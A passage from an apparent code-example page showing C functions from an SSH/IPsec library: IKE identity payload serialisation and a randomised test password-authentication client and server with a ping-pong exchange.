        auth_data, auth_data_len, own_auth_data, own_auth_data_len,
        public_key, number_of_certificates, number_of_allocated_certificates,
        certificates, certificate_lens, certificate_encodings,
        policy_manager_data, pm. */
     SSH_ENCODE_UINT32((SshUInt32) pm_info->doi),
     /* Magic number */
     SSH_ENCODE_UINT32((SshUInt32) SSH_IKE_EXPORT_MAGIC2),
     SSH_FORMAT_END);
  if (item_len == 0)
    goto error;
  len += item_len;
  return len;
 error:
  orig_len -= ssh_buffer_len(buffer);
  if (orig_len != 0)
    ssh_buffer_consume_end(buffer, orig_len);
  return 0;
}
Ejemplo n.º 13
0
/* Expore identity payload to buffer. Buffer is NOT cleared, before the
   export. Returns size of the data added to the buffer, or 0 in case of error.
   In case of error the data added to the buffer is removed. */
size_t ssh_ike_sa_export_id(SshBuffer buffer, SshIkePayloadID id)
{
  size_t orig_len;
  size_t item_len;
  size_t len;

  SSH_DEBUG(5, ("Start"));

  orig_len = ssh_buffer_len(buffer);
  len = 0;
  if (id == NULL)
    {
      item_len = ssh_encode_buffer
        (buffer,
         SSH_ENCODE_UINT32((SshUInt32) 0),
         SSH_FORMAT_END);
      if (item_len == 0)
        goto error;
      len += item_len;
      return len;
    }
  item_len = ssh_encode_buffer
    (buffer,
     SSH_ENCODE_UINT32((SshUInt32) id->id_type),
     SSH_ENCODE_UINT32((SshUInt32) id->protocol_id),
     SSH_ENCODE_UINT32((SshUInt32) id->port_number),
     SSH_ENCODE_UINT32((SshUInt32) id->port_range_end),
     SSH_FORMAT_END);
  if (item_len == 0)
    goto error;
  len += item_len;
  switch (id->id_type)
    {
    case IPSEC_ID_IPV4_ADDR:
      item_len = ssh_encode_buffer
        (buffer,
         SSH_ENCODE_DATA(id->identification.ipv4_addr, 4),
         SSH_FORMAT_END);
      break;
    case IPSEC_ID_FQDN:
      item_len = ssh_encode_buffer
        (buffer,
         SSH_ENCODE_UINT32_STR(id->identification.fqdn,
         id->identification_len),
         SSH_FORMAT_END);
      break;
    case IPSEC_ID_USER_FQDN:
      item_len = ssh_encode_buffer
        (buffer,
         SSH_ENCODE_UINT32_STR(id->identification.user_fqdn,
         id->identification_len),
         SSH_FORMAT_END);
      break;
    case IPSEC_ID_IPV4_ADDR_SUBNET:
      item_len = ssh_encode_buffer
        (buffer,
         SSH_ENCODE_DATA(id->identification.ipv4_addr_subnet, 4),
         SSH_ENCODE_DATA(id->identification.ipv4_addr_netmask, 4),
         SSH_FORMAT_END);
      break;
    case IPSEC_ID_IPV6_ADDR:
      item_len = ssh_encode_buffer
        (buffer,
         SSH_ENCODE_DATA(id->identification.ipv6_addr, 16),
         SSH_FORMAT_END);
      break;
    case IPSEC_ID_IPV6_ADDR_SUBNET:
      item_len = ssh_encode_buffer
        (buffer,
         SSH_ENCODE_DATA(id->identification.ipv6_addr_subnet, 16),
         SSH_ENCODE_DATA(id->identification.ipv6_addr_netmask, 16),
         SSH_FORMAT_END);
      break;
    case IPSEC_ID_IPV4_ADDR_RANGE:
      item_len = ssh_encode_buffer
        (buffer,
         SSH_ENCODE_DATA(id->identification.ipv4_addr_range1, 4),
         SSH_ENCODE_DATA(id->identification.ipv4_addr_range2, 4),
         SSH_FORMAT_END);
      break;
    case IPSEC_ID_IPV6_ADDR_RANGE:
      item_len = ssh_encode_buffer
        (buffer,
         SSH_ENCODE_DATA(id->identification.ipv6_addr_range1, 16),
         SSH_ENCODE_DATA(id->identification.ipv6_addr_range2, 16),
         SSH_FORMAT_END);
      break;
    case IPSEC_ID_DER_ASN1_DN:
    case IPSEC_ID_DER_ASN1_GN:
      item_len = ssh_encode_buffer
        (buffer,
         SSH_ENCODE_UINT32_STR(id->identification.asn1_data,
         id->identification_len),
         SSH_FORMAT_END);
      break;
    case IPSEC_ID_KEY_ID:
      item_len = ssh_encode_buffer
        (buffer,
         SSH_ENCODE_UINT32_STR(id->identification.key_id,
         id->identification_len),
         SSH_FORMAT_END);
      break;
#ifdef SSHDIST_IKE_ID_LIST
    case IPSEC_ID_LIST:
      {
        int cnt;

        item_len = ssh_encode_buffer(buffer,
                                     SSH_ENCODE_UINT32(
                                     (SshUInt32) id->identification.
                                     id_list_number_of_items),
                                     SSH_FORMAT_END);
        if (item_len == 0)
          goto error;
        len += item_len;
        for (cnt = 0;
             cnt < id->identification.id_list_number_of_items;
             cnt++)
          {
            item_len =
              ssh_ike_sa_export_id(buffer,
                                   &(id->identification.id_list_items[cnt]));
            if (item_len == 0)
              goto error;
            len += item_len;
          }
        break;
      }
#endif /* SSHDIST_IKE_ID_LIST */
    }
  if (item_len == 0)
    goto error;
  len += item_len;
  return len;
 error:
  orig_len -= ssh_buffer_len(buffer);
  if (orig_len != 0)
    ssh_buffer_consume_end(buffer, orig_len);
  return 0;
}
Ejemplo n.º 14
0
void simple_password_client(SshAuthClientOperation op,
                            const char *user,
                            unsigned int packet_type,
                            SshBuffer *packet_in,
                            const unsigned char *session_id,
                            size_t session_id_len,
                            void **state_placeholder,
                            SshAuthClientCompletionProc completion_proc,
                            void *completion_context,
                            void *method_context)
{
  char *pass;
  SshBuffer *b;
  ClientPingPongData *pd;
  SshUInt32 value;

#ifdef DEBUG
  ssh_debug("simple_password_client: op %d", (int)op);
#endif  

  switch (op)
    {
    case SSH_AUTH_CLIENT_OP_START:

      simple_user_accept = random() % 2;
      simple_password_accept = random() % 2;
      
      if (simple_password_may_fail && pingpong_success &&
          random() % 5 == 0)
        {
#ifdef DEBUG
          ssh_debug("simple_password_client: cancelling");
#endif
          simple_password_failed = TRUE;
          (*completion_proc)(SSH_AUTH_CLIENT_CANCEL, user, NULL,
                             completion_context);
          return;
        }
      
      if (simple_user_accept)
        user = CORRECT_USER;
      else
        user = WRONG_USER;
      if (simple_password_accept)
        pass = CORRECT_PASS;
      else
        pass = WRONG_PASS;

      b = ssh_buffer_allocate();

      if (pingpong_count > 0)
        {
          /* Send pingpong reply */
          assert(*state_placeholder == NULL);
          pd = ssh_xmalloc(sizeof(*pd));
          *state_placeholder = pd;
          pd->count = 0;
#ifdef DEBUG
          ssh_debug("simple_password_client: sending pongpong %ld", pd->count);
#endif
          ssh_encode_buffer(b,
                            SSH_FORMAT_BOOLEAN, TRUE,
                            SSH_FORMAT_UINT32, pd->count,
                            SSH_FORMAT_END);
          if (pd->count < pingpong_count)
            (*completion_proc)(SSH_AUTH_CLIENT_SEND_AND_CONTINUE, user, b,
                               completion_context);
          else
            {
              ssh_xfree(*state_placeholder);
              *state_placeholder = NULL;
              (*completion_proc)(SSH_AUTH_CLIENT_SEND, user, b,
                                 completion_context);
            }
        }
      else
        {
          /* Send normal reply */
#ifdef DEBUG
          ssh_debug("simple_password_client: sending req");
#endif
          ssh_encode_buffer(b,
                            SSH_FORMAT_BOOLEAN, FALSE,
                            SSH_FORMAT_UINT32_STR, pass, strlen(pass),
                            SSH_FORMAT_END);
          (*completion_proc)(SSH_AUTH_CLIENT_SEND, user, b,
                             completion_context);
        }
      ssh_buffer_free(b);
      break;
      
    case SSH_AUTH_CLIENT_OP_START_NONINTERACTIVE:
#ifdef DEBUG
      ssh_debug("simple_password_client: noninteractive failing");
#endif
      (*completion_proc)(SSH_AUTH_CLIENT_FAIL, user, NULL, completion_context);
      break;
      
    case SSH_AUTH_CLIENT_OP_CONTINUE:
#ifdef DEBUG
      ssh_debug("simple_password_client: OP_CONTINUE");
#endif
      pd = *state_placeholder;
      if (pd == NULL || pd->count < 0 || pd->count >= pingpong_count)
        ssh_fatal("simple_password_client: strange pd");
      if (ssh_decode_buffer(packet_in,
                            SSH_FORMAT_UINT32, &value,
                            SSH_FORMAT_END) == 0)
        ssh_fatal("simple_password_client: bad packet_in");
      if ((value ^ 0x12345678) != pd->count)
        ssh_fatal("simple_password_client: bad value");
      pd->count++;
#ifdef DEBUG
      ssh_debug("simple_password_client: sending pongpong %ld", pd->count);
#endif
      b = ssh_buffer_allocate();
      ssh_encode_buffer(b,
                        SSH_FORMAT_BOOLEAN, TRUE,
                        SSH_FORMAT_UINT32, pd->count,
                        SSH_FORMAT_END);
      if (pd->count < pingpong_count)
        (*completion_proc)(SSH_AUTH_CLIENT_SEND_AND_CONTINUE, user, b,
                           completion_context);
      else
        {
          ssh_xfree(*state_placeholder);
          *state_placeholder = NULL;
          (*completion_proc)(SSH_AUTH_CLIENT_SEND, user, b,
                             completion_context);
        }
      ssh_buffer_free(b);
      break;
      
    case SSH_AUTH_CLIENT_OP_ABORT:
      if (*state_placeholder)
        {
          ssh_xfree(*state_placeholder);
          *state_placeholder = NULL;
        }
      break;
      
    default:
      ssh_fatal("simple_password_client: unknown op %d", (int)op);
    }
}
Ejemplo n.º 15
0
SshAuthServerResult simple_password_server(SshAuthServerOperation op,
                                           const char *user,
                                           SshBuffer *packet,
                                           const unsigned char *session_id,
                                           size_t session_id_len,
                                           void **state_placeholder,
                                           void **longtime_placeholder,
                                           void *method_context)
{
  char *password;
  Boolean is_pingpong;
  SshUInt32 value;

#ifdef DEBUG
  ssh_debug("simple_password_server: op %d", (int)op);
#endif
  
  switch (op)
    {
    case SSH_AUTH_SERVER_OP_START:
      if (ssh_decode_buffer(packet,
                            SSH_FORMAT_BOOLEAN, &is_pingpong,
                            SSH_FORMAT_END) == 0)
        {
#ifdef DEBUG
          ssh_debug("simple_password_server: bad is_pingpong");
#endif
          return SSH_AUTH_SERVER_REJECTED;
        }
      if (!is_pingpong)
        {
          /* Normal password auth */
          if (pingpong_count != 0)
            ssh_fatal("simple_password_server: passwd when pingpong");
          if (ssh_decode_buffer(packet,
                                SSH_FORMAT_UINT32_STR, &password, NULL,
                                SSH_FORMAT_END) == 0)
            ssh_debug("simple_password_server: bad passwd request");
          
          if (strcmp(user, CORRECT_USER) == 0)
            {
              if (!simple_user_accept)
                ssh_fatal("simple_password_server: correct user, !accept");
            }
          else
            if (strcmp(user, WRONG_USER) == 0)
              {
                if (simple_user_accept)
                  ssh_fatal("simple_password_server: wrong user, accept");
              }
            else
              ssh_fatal("simple_password_server: bad user");
          
          if (strcmp(password, CORRECT_PASS) == 0)
            {
              if (!simple_password_accept)
                ssh_fatal("simple_password_server: correct pass, !accept");
            }
          else
            if (strcmp(password, WRONG_PASS) == 0)
              {
                if (simple_password_accept)
                  ssh_fatal("simple_password_server: wrong pass, accept");
              }
            else
              ssh_fatal("simple_password_server: bad pass");
          
          if (strcmp(user, CORRECT_USER) == 0 &&
              strcmp(password, CORRECT_PASS) == 0)
            {
              ssh_xfree(password);
#ifdef DEBUG
              ssh_debug("simple_password_server: accepted");
#endif
              return SSH_AUTH_SERVER_ACCEPTED;
            }
          
          ssh_xfree(password);
#ifdef DEBUG
          ssh_debug("simple_password_server: rejected");
#endif
          return SSH_AUTH_SERVER_REJECTED;
        }
      else
        {
          /* Pingpong request. */
          if (pingpong_count == 0)
            ssh_fatal("simple_password_server: pingpong when count 0");
          if (ssh_decode_buffer(packet,
                                SSH_FORMAT_UINT32, &value,
                                SSH_FORMAT_END) == 0)
            ssh_fatal("simple_password_server: bad pingpong");
          if (value == pingpong_count)
            {
#ifdef DEBUG
              ssh_debug("simple_password_server: pingpong count reached");
#endif
              return SSH_AUTH_SERVER_ACCEPTED;
            }
          *state_placeholder = (void *)value;
          value ^= 0x12345678;
          ssh_buffer_clear(packet);
          ssh_encode_buffer(packet,
                            SSH_FORMAT_CHAR, (unsigned int) PINGPONG_PACKET,
                            SSH_FORMAT_UINT32, value,
                            SSH_FORMAT_END);
          return SSH_AUTH_SERVER_CONTINUE_WITH_PACKET_BACK;
        }
      /*NOTREACHED*/
      abort();

    case SSH_AUTH_SERVER_OP_ABORT:
#ifdef DEBUG
      ssh_debug("simple_password_server: SERVER_OP_ABORT");
#endif
      *state_placeholder = NULL;
      return SSH_AUTH_SERVER_REJECTED;

    case SSH_AUTH_SERVER_OP_CONTINUE:
#ifdef DEBUG
      ssh_debug("simple_password_server: SERVER_OP_CONTINUE");
#endif
      if (ssh_decode_buffer(packet,
                            SSH_FORMAT_BOOLEAN, &is_pingpong,
                            SSH_FORMAT_UINT32, &value,
                            SSH_FORMAT_END) == 0)
        ssh_fatal("simple_password_server: bad pingpong continue");
      if (!is_pingpong)
        ssh_fatal("simple_password_server: !pingpong");
      if (((SshUInt32)*state_placeholder) + 1 != value)
        ssh_fatal("simple_password_server: pingpong did not +1");
      if (value == pingpong_count)
        {
#ifdef DEBUG
          ssh_debug("simple_password_server: pingpong count reached");
#endif
          *state_placeholder = NULL;
          pingpong_success = TRUE;
          return SSH_AUTH_SERVER_ACCEPTED;
        }
      *state_placeholder = (void *)value;
      value ^= 0x12345678;
      ssh_buffer_clear(packet);
      ssh_encode_buffer(packet,
                        SSH_FORMAT_CHAR, (unsigned int) PINGPONG_PACKET,
                        SSH_FORMAT_UINT32, value,
                        SSH_FORMAT_END);
      return SSH_AUTH_SERVER_CONTINUE_WITH_PACKET_BACK;

    case SSH_AUTH_SERVER_OP_UNDO_LONGTIME:
#ifdef DEBUG
      ssh_debug("simple_password_server: SERVER_OP_UNDO_LONGTIME");
#endif
      return SSH_AUTH_SERVER_REJECTED;

    case SSH_AUTH_SERVER_OP_CLEAR_LONGTIME:
#ifdef DEBUG
      ssh_debug("simple_password_server: SERVER_OP_CLEAR_LONGTIME");
#endif
      return SSH_AUTH_SERVER_REJECTED;

    default:
      ssh_fatal("simple_password_server: unknown op %d", (int)op);
    }
  /*NOTREACHED*/
  return SSH_AUTH_SERVER_REJECTED;
}